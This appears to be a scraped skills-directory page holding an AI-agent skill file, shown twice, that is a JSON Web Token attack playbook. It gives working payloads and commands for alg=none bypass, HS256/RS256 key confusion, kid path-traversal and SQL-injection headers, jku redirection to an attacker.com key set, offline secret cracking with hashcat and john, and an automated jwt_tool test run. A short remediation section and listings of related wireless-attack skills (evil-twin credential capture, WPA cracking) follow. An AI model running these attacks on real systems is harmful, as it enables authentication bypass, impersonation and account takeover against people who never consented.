[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78HN5PT1DNSJDSFCZH9SPES":3,"skill-same:01M78HN5PT1DNSJDSFCZH9SPES":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":13,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M78HN5PT1DNSJDSFCZH9SPES","jwt",null,"JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fjwt\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: jwt\ndescription: JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.\nmetadata:\n  when_to_use: \"jwt json web token bearer signature alg=none kid jwks\"\n  mitre_attack: T1606.001\n  subdomain: authentication\n  upstream_ref: skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F\n---\n\n# JSON Web Token Attacks\n\nJWTs are signed (`HS256`\u002F`RS256`\u002F`ES256`) or sometimes mis-configured to\naccept `none`. The header carries the alg + optionally `kid`\u002F`jku`\u002F`x5u`\nreferences. Each is a potential exploitation surface.\n\n## 1. Anatomy\n`header.payload.signature` — each base64url. Decode w\u002F `jwt_tool` or\n`jwt-cracker`:\n```bash\njwt_tool eyJhbGc...   # decode + verify + tamper modes\necho \"$JWT\" | cut -d. -f1-2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull\n```\n\n## 2. Attack surface\n\n### 2.1 `alg=none` bypass\nSet `{\"alg\":\"none\"}` in header, strip signature, send `header.payload.`:\n```bash\njwt_tool $JWT -X a    # alg=none attack\n```\nWorked on auth0 \u002F pyjwt \u002F many home-rolled libs pre-2017. Still appears\nin legacy systems.\n\n### 2.2 HS256 vs RS256 confusion\nServer uses RS256 (asymmetric) and verifies w\u002F public key. Attacker\nswitches `alg` to `HS256` and signs w\u002F the *public key* (which the server\nwill use as the HMAC secret):\n```bash\n# Get the public key\ncurl -s https:\u002F\u002Ftarget\u002F.well-known\u002Fjwks.json | jq -r '.keys[0]'\n# Or pull from a redirect \u002F unauth \u002Fpubkey endpoint\n\njwt_tool $JWT -X k -pk public.pem   # alg confusion attack\n```\n\n### 2.3 `kid` header injection\n`kid` (key ID) sometimes resolves to a file path or DB key:\n```json\n{\"alg\":\"HS256\",\"kid\":\"..\u002F..\u002F..\u002Fdev\u002Fnull\"}     \u002F\u002F sign with empty content\n{\"alg\":\"HS256\",\"kid\":\"key1' UNION SELECT 'mykey\"}  \u002F\u002F SQLi in kid lookup\n```\n`jwt_tool -X i -I -hc kid -hv path` chains kid injection variants.\n\n### 2.4 `jku` \u002F `x5u` URL injection\n`jku` (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,\nattacker hosts their own:\n```json\n{\"alg\":\"RS256\",\"jku\":\"https:\u002F\u002Fattacker.com\u002Fjwks.json\"}\n```\nThen `https:\u002F\u002Fattacker.com\u002Fjwks.json` returns attacker's public key,\nsigned JWT is \"valid\".\n\nBypass URL filters via:\n- subdomain confusion (`https:\u002F\u002Ftarget.com.attacker.com\u002Fjwks.json`)\n- userinfo (`https:\u002F\u002Fattacker.com@target.com\u002Fjwks.json`)\n- redirect chains via target's open-redirect\n\n### 2.5 Weak HMAC secret\nHS256 with weak secret crackable offline:\n```bash\nhashcat -m 16500 jwt.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\njohn --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt\n```\nHashcat mode 16500 = JWT. Service-account secrets often `dev`\u002F`secret`\u002F\n`changeme`\u002Fcompany-name patterns.\n\n### 2.6 Signature stripping (Express.js \u002F older Go libs)\nSome libraries verify only IF a signature is present. Strip it:\n```\nheader.payload.    ← trailing dot, no sig\n```\n\n### 2.7 Embedded `jwk` header\n`jwk` in header (vs `jku` pointer) — attacker embeds their own pub key:\n```json\n{\"alg\":\"RS256\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"\u003Cattacker_pub>\",\"e\":\"AQAB\"}}\n```\nOld node-jsonwebtoken accepted this.\n\n## 3. Detection in recon\n\nJWT presence signals:\n- `Authorization: Bearer eyJ...` headers\n- `access_token=eyJ...` \u002F `id_token=eyJ...` URL params or cookies\n- `.well-known\u002Fjwks.json` endpoint exposed\n- `.well-known\u002Fopenid-configuration` discovery doc\n\n## 4. PoC pattern (Burp + jwt_tool)\n1. Capture authenticated request\n2. `jwt_tool \u003CJWT> -M at -t \u003Ctarget_url>` — runs **a**ll **t**ests (alg=none, alg confusion, signature strip, weak HMAC dictionary)\n3. For positive results, replay manually via Burp Repeater to confirm\n4. Document the modified JWT + decoded admin claims as PoC\n\n## 5. Severity calibration\n\n| Bug | Typical severity |\n|---|---|\n| `alg=none` accepted on user → admin claim swap | Critical 9.8 |\n| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |\n| `jku` to attacker URL accepted | Critical 9.8 |\n| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |\n| `kid` SQLi → DB enumeration | High 8.0 |\n| Signature stripping accepted | Critical 9.8 |\n\n## 6. Defender remediation\n\n```javascript\n\u002F\u002F Node: jsonwebtoken\njwt.verify(token, publicKey, {\n    algorithms: ['RS256'],      \u002F\u002F EXPLICIT — never accept \"none\" or HS256 here\n    audience: 'api:\u002F\u002Fmy-service',\n    issuer: 'https:\u002F\u002Fauth.mycorp.com',\n});\n\n\u002F\u002F Python: PyJWT 2.0+\njwt.decode(token, public_key, algorithms=['RS256'])  \u002F\u002F explicit algorithm\n\n\u002F\u002F Validate kid \u002F jku come from a known-good fixed set, NEVER user-controlled lookup\n```\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F`\n- jwt_tool: https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool\n\n## Known exemplars\n- Auth0 alg=none (2015) — historical CVE-2015-2951 era\n- Multiple Github bounty $5-15k for HS256\u002FRS256 confusion in 2018-2021\n- Atlassian 2022: JWT validation bypass in JIRA cloud → admin\n- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host\n","# JSON Web Token Attacks\n\nJWTs are signed (`HS256`\u002F`RS256`\u002F`ES256`) or sometimes mis-configured to\naccept `none`. The header carries the alg + optionally `kid`\u002F`jku`\u002F`x5u`\nreferences. Each is a potential exploitation surface.\n\n## 1. Anatomy\n`header.payload.signature` — each base64url. Decode w\u002F `jwt_tool` or\n`jwt-cracker`:\n```bash\njwt_tool eyJhbGc...   # decode + verify + tamper modes\necho \"$JWT\" | cut -d. -f1-2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull\n```\n\n## 2. Attack surface\n\n### 2.1 `alg=none` bypass\nSet `{\"alg\":\"none\"}` in header, strip signature, send `header.payload.`:\n```bash\njwt_tool $JWT -X a    # alg=none attack\n```\nWorked on auth0 \u002F pyjwt \u002F many home-rolled libs pre-2017. Still appears\nin legacy systems.\n\n### 2.2 HS256 vs RS256 confusion\nServer uses RS256 (asymmetric) and verifies w\u002F public key. Attacker\nswitches `alg` to `HS256` and signs w\u002F the *public key* (which the server\nwill use as the HMAC secret):\n```bash\n# Get the public key\ncurl -s https:\u002F\u002Ftarget\u002F.well-known\u002Fjwks.json | jq -r '.keys[0]'\n# Or pull from a redirect \u002F unauth \u002Fpubkey endpoint\n\njwt_tool $JWT -X k -pk public.pem   # alg confusion attack\n```\n\n### 2.3 `kid` header injection\n`kid` (key ID) sometimes resolves to a file path or DB key:\n```json\n{\"alg\":\"HS256\",\"kid\":\"..\u002F..\u002F..\u002Fdev\u002Fnull\"}     \u002F\u002F sign with empty content\n{\"alg\":\"HS256\",\"kid\":\"key1' UNION SELECT 'mykey\"}  \u002F\u002F SQLi in kid lookup\n```\n`jwt_tool -X i -I -hc kid -hv path` chains kid injection variants.\n\n### 2.4 `jku` \u002F `x5u` URL injection\n`jku` (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,\nattacker hosts their own:\n```json\n{\"alg\":\"RS256\",\"jku\":\"https:\u002F\u002Fattacker.com\u002Fjwks.json\"}\n```\nThen `https:\u002F\u002Fattacker.com\u002Fjwks.json` returns attacker's public key,\nsigned JWT is \"valid\".\n\nBypass URL filters via:\n- subdomain confusion (`https:\u002F\u002Ftarget.com.attacker.com\u002Fjwks.json`)\n- userinfo (`https:\u002F\u002Fattacker.com@target.com\u002Fjwks.json`)\n- redirect chains via target's open-redirect\n\n### 2.5 Weak HMAC secret\nHS256 with weak secret crackable offline:\n```bash\nhashcat -m 16500 jwt.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\njohn --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt\n```\nHashcat mode 16500 = JWT. Service-account secrets often `dev`\u002F`secret`\u002F\n`changeme`\u002Fcompany-name patterns.\n\n### 2.6 Signature stripping (Express.js \u002F older Go libs)\nSome libraries verify only IF a signature is present. Strip it:\n```\nheader.payload.    ← trailing dot, no sig\n```\n\n### 2.7 Embedded `jwk` header\n`jwk` in header (vs `jku` pointer) — attacker embeds their own pub key:\n```json\n{\"alg\":\"RS256\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"\u003Cattacker_pub>\",\"e\":\"AQAB\"}}\n```\nOld node-jsonwebtoken accepted this.\n\n## 3. Detection in recon\n\nJWT presence signals:\n- `Authorization: Bearer eyJ...` headers\n- `access_token=eyJ...` \u002F `id_token=eyJ...` URL params or cookies\n- `.well-known\u002Fjwks.json` endpoint exposed\n- `.well-known\u002Fopenid-configuration` discovery doc\n\n## 4. PoC pattern (Burp + jwt_tool)\n1. Capture authenticated request\n2. `jwt_tool \u003CJWT> -M at -t \u003Ctarget_url>` — runs **a**ll **t**ests (alg=none, alg confusion, signature strip, weak HMAC dictionary)\n3. For positive results, replay manually via Burp Repeater to confirm\n4. Document the modified JWT + decoded admin claims as PoC\n\n## 5. Severity calibration\n\n| Bug | Typical severity |\n|---|---|\n| `alg=none` accepted on user → admin claim swap | Critical 9.8 |\n| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |\n| `jku` to attacker URL accepted | Critical 9.8 |\n| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |\n| `kid` SQLi → DB enumeration | High 8.0 |\n| Signature stripping accepted | Critical 9.8 |\n\n## 6. Defender remediation\n\n```javascript\n\u002F\u002F Node: jsonwebtoken\njwt.verify(token, publicKey, {\n    algorithms: ['RS256'],      \u002F\u002F EXPLICIT — never accept \"none\" or HS256 here\n    audience: 'api:\u002F\u002Fmy-service',\n    issuer: 'https:\u002F\u002Fauth.mycorp.com',\n});\n\n\u002F\u002F Python: PyJWT 2.0+\njwt.decode(token, public_key, algorithms=['RS256'])  \u002F\u002F explicit algorithm\n\n\u002F\u002F Validate kid \u002F jku come from a known-good fixed set, NEVER user-controlled lookup\n```\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F`\n- jwt_tool: https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool\n\n## Known exemplars\n- Auth0 alg=none (2015) — historical CVE-2015-2951 era\n- Multiple Github bounty $5-15k for HS256\u002FRS256 confusion in 2018-2021\n- Atlassian 2022: JWT validation bypass in JIRA cloud → admin\n- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host\n",{"name":5,"metadata":23,"description":7},{"subdomain":24,"when_to_use":25,"mitre_attack":26,"upstream_ref":27},"authentication","jwt json web token bearer signature alg=none kid jwks","T1606.001","skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fjwt","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill jwt",{"tool":40,"command":41},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill jwt",{"tool":43,"command":44},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill jwt","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fjwt\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]